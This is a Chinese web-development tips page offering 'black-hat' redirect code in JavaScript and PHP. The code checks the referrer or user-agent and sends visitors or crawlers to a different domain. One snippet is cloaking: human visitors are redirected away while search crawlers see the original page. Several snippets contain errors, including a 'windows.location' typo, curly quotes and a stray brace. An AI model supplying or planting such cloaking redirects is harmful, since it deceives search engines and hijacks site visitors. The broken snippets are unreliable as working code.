根据user-agent判断蜘蛛代码黑帽跳转代码(js版与php版本)_javascript技巧

<script language="javascript">
var pattern = /google/gi;
var pattern1= /yahoo/gi;
var keyValue=escape(document.referrer);
if (pattern.exec(keyValue))
setTimeout(
"windows.location='http://www.jb51.net'",10*1000);
else if(pattern1.exec(keyValue))
setTimeout(
"window.location='http://www.jb51.net'",10*1000);
</script>

<&#63;php
$tmp = $_SERVER['HTTP_USER_AGENT'];
if(strpos($tmp, 'Googlebot') !== false){
    echo '谷歌';
} else if(strpos($tmp, 'Baiduspider') >0){
    echo '百度';
} else if(strpos($tmp, 'Yahoo! Slurp') !== false){
    echo '雅虎';
} else if(strpos($tmp, 'msnbot') !== false){
    echo 'Msn';
} else if(strpos($tmp, 'Sosospider') !== false){
    echo '搜搜';
} else if(strpos($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){
    echo '有道';
} else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){
    echo '搜狗';
} else if(strpos($tmp, 'fast-webcrawler') !== false){
    echo 'Alltheweb';
} else if(strpos($tmp, 'Gaisbot') !== false){
    echo 'Gais';
} else if(strpos($tmp, 'ia_archiver') !== false){
    echo 'Alexa';
} else if(strpos($tmp, 'altavista') !== false){
    echo 'AltaVista';
} else if(strpos($tmp, 'lycos_spider') !== false){
    echo 'Lycos';
} else if(strpos($tmp, 'Inktomi slurp') !== false){
    echo 'Inktomi';
}
&#63;>

<&#63;php
$flag = false;
$tmp = $_SERVER['HTTP_USER_AGENT'];
if(strpos($tmp, 'Googlebot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Baiduspider') >0){
    $flag = true;
} else if(strpos($tmp, 'Yahoo! Slurp') !== false){
    $flag = true;
} else if(strpos($tmp, 'msnbot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Sosospider') !== false){
    $flag = true;
} else if(strpos($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){
    $flag = true;
} else if(strpos($tmp, 'fast-webcrawler') !== false){
    $flag = true;
} else if(strpos($tmp, 'Gaisbot') !== false){
    $flag = true;
} else if(strpos($tmp, 'ia_archiver') !== false){
    $flag = true;
} else if(strpos($tmp, 'altavista') !== false){
    $flag = true;
} else if(strpos($tmp, 'lycos_spider') !== false){
    $flag = true;
} else if(strpos($tmp, 'Inktomi slurp') !== false){
    $flag = true;
}
if($flag == false){
   header("Location: http://www.jb51.net" . $_SERVER['REQUEST_URI']);
    // 自动转到http://www.jb51.net 对应的网页
    // $_SERVER['REQUEST_URI'] 为域名后面的路径
    // 或 换成 header("Location: http://www.jb51.net/abc/d.php");
   exit();
}
&#63;>

if (preg_match(“#(google|slurp@inktomi|yahoo! slurp|msnbot)#si”, $_SERVER['HTTP_USER_AGENT'])) {
 
header(“HTTP/1.1 301 Moved Permanently”);
header(“Location: http://www.saoyu.com/”);
exit;
 
}}